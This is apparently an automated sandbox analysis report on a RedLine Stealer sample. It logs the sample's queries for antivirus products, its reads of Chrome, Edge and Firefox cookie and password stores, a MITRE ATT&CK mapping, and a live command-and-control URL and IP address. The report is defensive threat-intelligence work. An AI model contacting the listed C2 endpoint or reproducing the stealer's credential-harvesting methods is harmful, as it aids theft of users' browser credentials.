Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.45b30d0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.4680000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.45b30d0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.44d1cd0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.4680000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.44d1cd0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.44c0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.45a0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.45a0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.44c0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4487554897.0000000000402000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2026450332.0000000004680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2026267845.00000000044C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 107.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3928, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Source: Yara match	File source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.45b30d0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.4680000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.45b30d0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.44d1cd0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.4680000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.44d1cd0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.44c0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.45a0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.45a0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.44c0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4487554897.0000000000402000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2026450332.0000000004680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2026267845.00000000044C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 107.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3928, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.45b30d0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.4680000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.45b30d0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.44d1cd0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.4680000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.44d1cd0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.44c0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.45a0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.45a0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.107.exe.44c0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4487554897.0000000000402000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2026450332.0000000004680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2026267845.00000000044C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 107.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3928, type: MEMORYSTR

Source: C:\Users\user\Desktop\107.exe

0_2_0042C200

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Image File Execution Options Injection	1 Image File Execution Options Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	135 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	14 Windows Service	14 Windows Service	3 Obfuscated Files or Information	Security Account Manager	371 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	12 Service Execution	Login Hook	411 Process Injection	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	241 Virtualization/Sandbox Evasion	SSH	Keylogging	1 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	241 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	411 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
107.exe	32%	ReversingLabs	Win32.Trojan.Generic
107.exe	29%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://github.com/Authenticator-Extension	0%	Virustotal		Browse
http://www.droidfonts.com/	0%	Virustotal		Browse
https://github.com/multiwebinc	0%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://213.109.202.97:9000/wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://pastebin.com/raw/Ld9GfkdJ	RegAsm.exe, 00000001.00000002.4489424197.0000000002B71000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	RegAsm.exe, 00000001.00000002.4489424197.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Authenticator-Extension	licenses.html.1.dr	false	0%, Virustotal, Browse	unknown
http://www.droidfonts.com/	licenses.html.1.dr	false	0%, Virustotal, Browse	unknown
https://duckduckgo.com/ac/?q=	RegAsm.exe, 00000001.00000002.4489424197.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002F2D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RegAsm.exe, 00000001.00000002.4489424197.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002F2D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://github.com/multiwebinc	licenses.html.1.dr	false	0%, Virustotal, Browse	unknown
https://chrome.google.com/webstore	Secure Preferences.1.dr	false		unknown
https://drive-daily-2.corp.google.com/	Secure Preferences.1.dr	false		unknown
https://drive-autopush.corp.google.com/	Secure Preferences.1.dr	false		unknown
https://drive-daily-4.corp.google.com/	Secure Preferences.1.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RegAsm.exe, 00000001.00000002.4489424197.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002F2D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RegAsm.exe, 00000001.00000002.4489424197.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002F2D000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000003006000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/chrome_newtabS	RegAsm.exe, 00000001.00000002.4489424197.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002F2D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	RegAsm.exe, 00000001.00000002.4489424197.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002F2D000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000003006000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	Secure Preferences.1.dr	false		unknown
https://drive-daily-5.corp.google.com/	Secure Preferences.1.dr	false		unknown
https://docs.google.com/	Secure Preferences.1.dr	false		unknown
http://213.109.202.97:9000	RegAsm.exe, 00000001.00000002.4489424197.0000000002C17000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	RegAsm.exe, 00000001.00000002.4489424197.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002F2D000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000003006000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-staging.corp.google.com/	Secure Preferences.1.dr	false		unknown
https://drive-daily-6.corp.google.com/	Secure Preferences.1.dr	false		unknown
https://drive.google.com/	Secure Preferences.1.dr	false		unknown
https://drive-daily-0.corp.google.com/	Secure Preferences.1.dr	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RegAsm.exe, 00000001.00000002.4489424197.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002F2D000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000003006000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-preprod.corp.google.com/	Secure Preferences.1.dr	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegAsm.exe, 00000001.00000002.4489424197.0000000002B71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RegAsm.exe, 00000001.00000002.4489424197.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000002F2D000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4489424197.0000000003006000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/FortAwesome/Font-Awesome	licenses.html.1.dr	false		unknown
https://www.google.com/	manifest.json.1.dr	false		unknown
https://login.microsoftonline.com/common/oauth2/v2.0/token	manifest.json.1.dr	false		unknown
https://drive-daily-3.corp.google.com/	Secure Preferences.1.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
213.109.202.97	unknown	unknown		34359	UA-LINK-ASUA	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1537509
Start date and time:	2024-10-19 03:36:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	107.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/145@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 102 Number of non-executed functions: 139
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:37:00	API Interceptor	4079668x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
213.109.202.97	1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Get hash	malicious	RedLine	Browse	213.109.202.97:9000/wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UA-LINK-ASUA	ZRemI0ixC6.dll	Get hash	malicious	BumbleBee	Browse	213.109.192.75
	PWzQpJQHzb.msi	Get hash	malicious	Unknown	Browse	213.109.192.75
	Q6yuW8YIMR.dll	Get hash	malicious	BumbleBee	Browse	213.109.192.75
	7rbJdaTZe2.dll	Get hash	malicious	BumbleBee	Browse	213.109.192.75
	1JYlOOKImO.dll	Get hash	malicious	BumbleBee	Browse	213.109.192.75
	bGvIeUxVdy.msi	Get hash	malicious	Unknown	Browse	213.109.192.75
	QsLhL1pw3t.msi	Get hash	malicious	Unknown	Browse	213.109.192.75
	yQMBCvJVWp.elf	Get hash	malicious	Mirai	Browse	213.109.142.120
	BDncqpUxZl.dll	Get hash	malicious	BumbleBee	Browse	213.109.192.75
	Midjourney.msi	Get hash	malicious	Unknown	Browse	213.109.192.75

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18497
Entropy (8bit):	5.543408621023809
Encrypted:	false
SSDEEP:	384:08efLPLee5Xqm1kXqKf/pUZNCgVLH2HfEpMrUerJWHGaknJA8GV3S:0TfLPLddqm1kXqKf/pUZNCgVLH2Hf8Mn
MD5:	EB18CA6BDC89457308EB33771166F0A4
SHA1:	A60679CC507BF8A551C584A21EB85B899373AF72
SHA-256:	9B8ECE3CAAA7B1A7ABFD76324E29AF1DF73D7F4E29B92A208F1B12054CF25877
SHA-512:	9DE5D4D31F75C1015256EBECB3ECC11B217F99063CD0F13DAB80D6C30FFE9EA9EF3629D74CB0198F8FC59237F31CF906709C8F1D23A933C141522FB953376E71
Malicious:	true
Reputation:	low
Preview:	{"download":{"directory_upgrade":true,"always_open_pdf_externally":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz:msi"},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13340900409243018","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13340900409243018","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, e

C:\Users\user\AppData\Local\Temp\tmp1075.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp14D0.tmp

Download File

